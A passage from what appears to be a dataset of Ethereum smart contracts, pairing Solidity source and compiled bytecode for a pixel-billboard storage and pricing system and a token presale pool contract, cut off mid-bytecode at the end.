}
function setSetupComplete() external onlyOwner {
setupComplete = true;
}
function kill() public onlyOwner {
selfdestruct(ownerAddress);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BdpDataStorage is BdpBase {
using SafeMath for uint256;
struct Region {
uint256 x1;
uint256 y1;
uint256 x2;
uint256 y2;
uint256 currentImageId;
uint256 nextImageId;
uint8[128] url;
uint256 currentPixelPrice;
uint256 blockUpdatedAt;
uint256 updatedAt;
uint256 purchasedAt;
uint256 purchasedPixelPrice;
}
uint256 public lastRegionId = 0;
mapping (uint256 => Region) public data;
function getLastRegionId() view public returns (uint256) {
return lastRegionId;
}
function getNextRegionId() public storageAccessControl returns (uint256) {
lastRegionId = lastRegionId.add(1);
return lastRegionId;
}
function deleteRegionData(uint256 _id) public storageAccessControl {
delete data[_id];
}
function getRegionCoordinates(uint256 _id) view public returns (uint256, uint256, uint256, uint256) {
return (data[_id].x1, data[_id].y1, data[_id].x2, data[_id].y2);
}
function setRegionCoordinates(uint256 _id, uint256 _x1, uint256 _y1, uint256 _x2, uint256 _y2) public storageAccessControl {
data[_id].x1 = _x1;
data[_id].y1 = _y1;
data[_id].x2 = _x2;
data[_id].y2 = _y2;
}
function getRegionCurrentImageId(uint256 _id) view public returns (uint256) {
return data[_id].currentImageId;
}
function setRegionCurrentImageId(uint256 _id, uint256 _currentImageId) public storageAccessControl {
data[_id].currentImageId = _currentImageId;
}
function getRegionNextImageId(uint256 _id) view public returns (uint256) {
return data[_id].nextImageId;
}
function setRegionNextImageId(uint256 _id, uint256 _nextImageId) public storageAccessControl {
data[_id].nextImageId = _nextImageId;
}
function getRegionUrl(uint256 _id) view public returns (uint8[128]) {
return data[_id].url;
}
function setRegionUrl(uint256 _id, uint8[128] _url) public storageAccessControl {
data[_id].url = _url;
}
function getRegionCurrentPixelPrice(uint256 _id) view public returns (uint256) {
return data[_id].currentPixelPrice;
}
function setRegionCurrentPixelPrice(uint256 _id, uint256 _currentPixelPrice) public storageAccessControl {
data[_id].currentPixelPrice = _currentPixelPrice;
}
function getRegionBlockUpdatedAt(uint256 _id) view public returns (uint256) {
return data[_id].blockUpdatedAt;
}
function setRegionBlockUpdatedAt(uint256 _id, uint256 _blockUpdatedAt) public storageAccessControl {
data[_id].blockUpdatedAt = _blockUpdatedAt;
}
function getRegionUpdatedAt(uint256 _id) view public returns (uint256) {
return data[_id].updatedAt;
}
function setRegionUpdatedAt(uint256 _id, uint256 _updatedAt) public storageAccessControl {
data[_id].updatedAt = _updatedAt;
}
function getRegionPurchasedAt(uint256 _id) view public returns (uint256) {
return data[_id].purchasedAt;
}
function setRegionPurchasedAt(uint256 _id, uint256 _purchasedAt) public storageAccessControl {
data[_id].purchasedAt = _purchasedAt;
}
function getRegionUpdatedAtPurchasedAt(uint256 _id) view public returns (uint256 _updatedAt, uint256 _purchasedAt) {
return (data[_id].updatedAt, data[_id].purchasedAt);
}
function getRegionPurchasePixelPrice(uint256 _id) view public returns (uint256) {
return data[_id].purchasedPixelPrice;
}
function setRegionPurchasedPixelPrice(uint256 _id, uint256 _purchasedPixelPrice) public storageAccessControl {
data[_id].purchasedPixelPrice = _purchasedPixelPrice;
}
function BdpDataStorage(bytes8 _version) public {
ownerAddress = msg.sender;
managerAddress = msg.sender;
version = _version;
}
}
contract BdpPriceStorage is BdpBase {
uint64[1001] public pricePoints;
uint256 public pricePointsLength = 0;
address public forwardPurchaseFeesTo = address(0);
address public forwardUpdateFeesTo = address(0);
function getPricePointsLength() view public returns (uint256) {
return pricePointsLength;
}
function getPricePoint(uint256 _i) view public returns (uint256) {
return pricePoints[_i];
}
function setPricePoints(uint64[] _pricePoints) public storageAccessControl {
pricePointsLength = 0;
appendPricePoints(_pricePoints);
}
function appendPricePoints(uint64[] _pricePoints) public storageAccessControl {
for (uint i = 0; i < _pricePoints.length; i++) {
pricePoints[pricePointsLength++] = _pricePoints[i];
}
}
function getForwardPurchaseFeesTo() view public returns (address) {
return forwardPurchaseFeesTo;
}
function setForwardPurchaseFeesTo(address _forwardPurchaseFeesTo) public storageAccessControl {
forwardPurchaseFeesTo = _forwardPurchaseFeesTo;
}
function getForwardUpdateFeesTo() view public returns (address) {
return forwardUpdateFeesTo;
}
function setForwardUpdateFeesTo(address _forwardUpdateFeesTo) public storageAccessControl {
forwardUpdateFeesTo = _forwardUpdateFeesTo;
}
function BdpPriceStorage(bytes8 _version) public {
ownerAddress = msg.sender;
managerAddress = msg.sender;
version = _version;
}
}
library BdpCalculator {
using SafeMath for uint256;
function calculateArea(address[16] _contracts, uint256 _regionId) view public returns (uint256 _area, uint256 _width, uint256 _height) {
var (x1, y1, x2, y2) = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionCoordinates(_regionId);
_width = x2 - x1 + 1;
_height = y2 - y1 + 1;
_area = _width * _height;
}
function countPurchasedPixels(address[16] _contracts) view public returns (uint256 _count) {
var lastRegionId = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getLastRegionId();
for (uint256 i = 0; i <= lastRegionId; i++) {
if(BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionPurchasedAt(i) > 0) { // region is purchased
var (area,,) = calculateArea(_contracts, i);
_count += area;
}
}
}
function calculateCurrentMarketPixelPrice(address[16] _contracts) view public returns(uint) {
return calculateMarketPixelPrice(_contracts, countPurchasedPixels(_contracts));
}
function calculateMarketPixelPrice(address[16] _contracts, uint _pixelsSold) view public returns(uint) {
var pricePointsLength = BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getPricePointsLength();
uint mod = _pixelsSold % (1000000 / (pricePointsLength - 1));
uint div = _pixelsSold * (pricePointsLength - 1) / 1000000;
var divPoint = BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getPricePoint(div);
if(mod == 0) return divPoint;
return divPoint + mod * (BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getPricePoint(div+1) - divPoint) * (pricePointsLength - 1) / 1000000;
}
function calculateAveragePixelPrice(address[16] _contracts, uint _a, uint _b) view public returns (uint _price) {
_price = (calculateMarketPixelPrice(_contracts, _a) + calculateMarketPixelPrice(_contracts, _b)) / 2;
}
/** Current market price per pixel for this region if it is the first sale of this region
*/
function calculateRegionInitialSalePixelPrice(address[16] _contracts, uint256 _regionId) view public returns (uint256) {
require(BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionUpdatedAt(_regionId) > 0); // region exists
var purchasedPixels = countPurchasedPixels(_contracts);
var (area,,) = calculateArea(_contracts, _regionId);
return calculateAveragePixelPrice(_contracts, purchasedPixels, purchasedPixels + area);
}
/** Current market price or (Current market price)*3 if the region was sold
*/
function calculateRegionSalePixelPrice(address[16] _contracts, uint256 _regionId) view public returns (uint256) {
var pixelPrice = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionCurrentPixelPrice(_regionId);
if(pixelPrice > 0) {
return pixelPrice * 3;
} else {
return calculateRegionInitialSalePixelPrice(_contracts, _regionId);
}
}
/** Setup is allowed one whithin one day after purchase
*/
function calculateSetupAllowedUntil(address[16] _contracts, uint256 _regionId) view public returns (uint256) {
var (updatedAt, purchasedAt) = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionUpdatedAtPurchasedAt(_regionId);
if(updatedAt != purchasedAt) {
return 0;
} else {
return purchasedAt + 1 days;
}
}
} | 0x60606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630823b38d146100935780631491858e146100f5578063993b8cde1461014e578063a46a96d91461019e578063a6948cd9146101f7578063bc6ac1121461025e578063d8c37ecd146102b7578063e1437b0014610310575b600080fd5b6100df6004808061020001906010806020026040519081016040528092919082601060200280828437820191505050505091908035906020019091908035906020019091905050610360565b6040518082815260200191505060405180910390f35b610138600480806102000190601080602002604051908101604052809291908260106020028082843782019150505050509190803590602001909190505061038c565b6040518082815260200191505060405180910390f35b6101886004808061020001906010806020026040519081016040528092919082601060200280828437820191505050505091905050610457565b6040518082815260200191505060405180910390f35b6101e160048080610200019060108060200260405190810160405280929190826010602002808284378201915050505050919080359060200190919050506105c7565b6040518082815260200191505060405180910390f35b61023a600480806102000190601080602002604051908101604052809291908260106020028082843782019150505050509190803590602001909190505061068e565b60405180848152602001838152602001828152602001935050505060405180910390f35b6102a1600480806102000190601080602002604051908101604052809291908260106020028082843782019150505050509190803590602001909190505061076d565b6040518082815260200191505060405180910390f35b6102fa6004808061020001906010806020026040519081016040528092919082601060200280828437820191505050505091908035906020019091905050610849565b6040518082815260200191505060405180910390f35b61034a6004808061020001906010806020026040519081016040528092919082601060200280828437820191505050505091905050610a87565b6040518082815260200191505060405180910390f35b6000600261036e8584610849565b6103788686610849565b0181151561038257fe5b0490509392505050565b600080600061039a85610aa2565b73ffffffffffffffffffffffffffffffffffffffff166373c261f4856000604051604001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808281526020019150506040805180830381600087803b151561040f57600080fd5b6102c65a03f1151561042057600080fd5b50505060405180519060200180519050915091508082141515610446576000925061044f565b62015180810192505b505092915050565b60008060008061046685610aa2565b73ffffffffffffffffffffffffffffffffffffffff1663cb07b94b6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104d157600080fd5b6102c65a03f115156104e257600080fd5b505050604051805190509250600091505b82821115156105bf57600061050786610aa2565b73ffffffffffffffffffffffffffffffffffffffff1663b219610a846000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561057d57600080fd5b6102c65a03f1151561058e57600080fd5b5050506040518051905011156105b2576105a8858361068e565b5050905080840193505b81806001019250506104f3565b505050919050565b6000806105d384610aa2565b73ffffffffffffffffffffffffffffffffffffffff16630500fe3e846000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561064957600080fd5b6102c65a03f1151561065a57600080fd5b505050604051805190509050600081111561067a57600381029150610687565b610684848461076d565b91505b5092915050565b60008060008060008060006106a289610aa2565b73ffffffffffffffffffffffffffffffffffffffff166342b4807a896000604051608001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050608060405180830381600087803b151561071857600080fd5b6102c65a03f1151561072957600080fd5b505050604051805190602001805190602001805190602001805190509350935093509350600184830301955060018382030194508486029650505050509250925092565b60008060008061077c86610aa2565b73ffffffffffffffffffffffffffffffffffffffff1663436fedc3866000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156107f257600080fd5b6102c65a03f1151561080357600080fd5b5050506040518051905011151561081957600080fd5b61082285610457565b915061082e858561068e565b5050905061083f8583838501610360565b9250505092915050565b600080600080600061085a87610abf565b73ffffffffffffffffffffffffffffffffffffffff1663dbe9eebf6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156108c557600080fd5b6102c65a03f115156108d657600080fd5b50505060405180519050935060018403620f42408115156108f357fe5b04868115156108fe57fe5b069250620f424060018503870281151561091457fe5b04915061092087610abf565b73ffffffffffffffffffffffffffffffffffffffff1663657f3ab0836000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561099657600080fd5b6102c65a03f115156109a757600080fd5b50505060405180519050905060008314156109c457809450610a7d565b620f424060018503826109d68a610abf565b73ffffffffffffffffffffffffffffffffffffffff1663657f3ab0600187016000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515610a4f57600080fd5b6102c65a03f11515610a6057600080fd5b5050506040518051905003850202811515610a7757fe5b04810194505b5050505092915050565b6000610a9b82610a9684610457565b610849565b9050919050565b6000816004601081101515610ab357fe5b60200201519050919050565b6000816007601081101515610ad057fe5b602002015190509190505600a165627a7a723058207838287f5ce419ea717f65c584e9cef905652c5634a378ce739045731d02da130029 | {"success": true, "error": null, "results": {}} | 9,882 |
0x7dda9641bfac658a2f3acd9018bae8e5a3ce0dfc | // Created By BitDNS.vip
// contact : Presale Pool
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.8;
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract PresalePool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
IERC20 public presale_token;
IERC20 public currency_token;
uint256 public totalSupply;
uint256 public price;
bool public canBuy;
bool public canSell;
uint256 constant PRICE_UNIT = 1e8;
uint256 constant LIMIT_AMOUNT = 1000 ether;
mapping(address => uint256) public balanceOf;
address private governance;
event Buy(address indexed user, uint256 token_amount, uint256 currency_amount);
event Sell(address indexed user, uint256 token_amount, uint256 currency_amount);
constructor () public {
governance = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == governance, "!governance");
_;
}
function start(address _presale_token, address _currency_token, uint256 _price) public onlyOwner {
require(_presale_token != address(0), "Token is non-contract");
require(_presale_token != address(0) && _presale_token.isContract(), "Subscribe stoken is non-contract");
require(_currency_token != address(0), "Token is non-contract");
require(_currency_token != address(0) && _currency_token.isContract(), "Currency token is non-contract");
presale_token = IERC20(_presale_token);
currency_token = IERC20(_currency_token);
price = _price;
canBuy = true;
canSell = false;
}
function buy(uint256 token_amount) public {
require(canBuy, "Buy not start yet, please wait...");
require(token_amount >= LIMIT_AMOUNT, "Subscribe amount must be larger than 1000");
require(token_amount <= presale_token.balanceOf(address(this)), "The subscription quota is insufficient");
uint256 currency_amount = token_amount * price / PRICE_UNIT;
currency_token.safeTransferFrom(msg.sender, address(this), currency_amount);
presale_token.safeTransfer(msg.sender, token_amount);
totalSupply = totalSupply.add(token_amount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(token_amount);
emit Buy(msg.sender, token_amount, currency_amount);
}
function sell(uint256 token_amount) public {
require(canSell, "Not end yet, please wait...");
require(token_amount > 0, "Sell amount must be larger than 0");
require(token_amount <= balanceOf[msg.sender], "Token balance is not enough");
require(token_amount <= totalSupply, "Token balance is larger than totalSupply");
uint256 currency_amount = token_amount * price / PRICE_UNIT;
currency_token.safeTransfer(msg.sender, currency_amount);
presale_token.safeTransferFrom(msg.sender, address(this), token_amount);
totalSupply = totalSupply.sub(token_amount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(token_amount);
emit Sell(msg.sender, token_amount, currency_amount);
}
function end() public onlyOwner {
require(canBuy, "Not start yet, please wait...");
canBuy = false;
canSell = true;
}
function finish(address account) public onlyOwner {
require(canSell, "Not end yet, please wait...");
uint256 left = presale_token.balanceOf(address(this));
if (left > 0) {
presale_token.safeTransfer(account, left);
}
canBuy = false;
canSell = false;
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063d96a094a11610071578063d96a094a14610225578063e4849b3214610253578063e76f9d4e14610281578063efbe1c1c146102ef578063fa3afbbf146102f9578063ff65226c1461031b576100b4565b806318160ddd146100b95780632e2860db146100d7578063305ec69e1461012157806370a0823114610165578063a035b1fe146101bd578063a7970154146101db575b600080fd5b6100c161033d565b6040518082815260200191505060405180910390f35b6100df610343565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101636004803603602081101561013757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610369565b005b6101a76004803603602081101561017b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061061b565b6040518082815260200191505060405180910390f35b6101c5610633565b6040518082815260200191505060405180910390f35b6101e3610639565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102516004803603602081101561023b57600080fd5b810190808035906020019092919050505061065e565b005b61027f6004803603602081101561026957600080fd5b8101908080359060200190929190505050610a11565b005b6102ed6004803603606081101561029757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db7565b005b6102f7611217565b005b610301611394565b604051808215151515815260200191505060405180910390f35b6103236113a7565b604051808215151515815260200191505060405180910390f35b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461042c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600460019054906101000a900460ff166104ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4e6f7420656e64207965742c20706c6561736520776169742e2e2e000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561054e57600080fd5b505afa158015610562573d6000803e3d6000fd5b505050506040513d602081101561057857600080fd5b8101908080519060200190929190505050905060008111156105e1576105e082826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113ba9092919063ffffffff16565b5b6000600460006101000a81548160ff0219169083151502179055506000600460016101000a81548160ff0219169083151502179055505050565b60056020528060005260406000206000915090505481565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900460ff166106c3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611a446021913960400191505060405180910390fd5b683635c9adc5dea00000811015610725576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806119f16029913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156107c357600080fd5b505afa1580156107d7573d6000803e3d6000fd5b505050506040513d60208110156107ed57600080fd5b8101908080519060200190929190505050811115610856576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806119826026913960400191505060405180910390fd5b60006305f5e10060035483028161086957fe5b0490506108bb333083600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661148b909392919063ffffffff16565b61090733836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113ba9092919063ffffffff16565b61091c8260025461159190919063ffffffff16565b60028190555061097482600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159190919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed8383604051808381526020018281526020019250505060405180910390a25050565b600460019054906101000a900460ff16610a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4e6f7420656e64207965742c20706c6561736520776169742e2e2e000000000081525060200191505060405180910390fd5b60008111610aec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806119a86021913960400191505060405180910390fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ba1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f546f6b656e2062616c616e6365206973206e6f7420656e6f756768000000000081525060200191505060405180910390fd5b600254811115610bfc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806119c96028913960400191505060405180910390fd5b60006305f5e100600354830281610c0f57fe5b049050610c5f3382600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113ba9092919063ffffffff16565b610cad3330846000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661148b909392919063ffffffff16565b610cc28260025461161990919063ffffffff16565b600281905550610d1a82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461161990919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fed7a144fad14804d5c249145e3e0e2b63a9eb455b76aee5bc92d711e9bba3e4a8383604051808381526020018281526020019250505060405180910390a25050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f546f6b656e206973206e6f6e2d636f6e7472616374000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f755750610f748373ffffffffffffffffffffffffffffffffffffffff16611663565b5b610fe7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5375627363726962652073746f6b656e206973206e6f6e2d636f6e747261637481525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561108a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f546f6b656e206973206e6f6e2d636f6e747261637400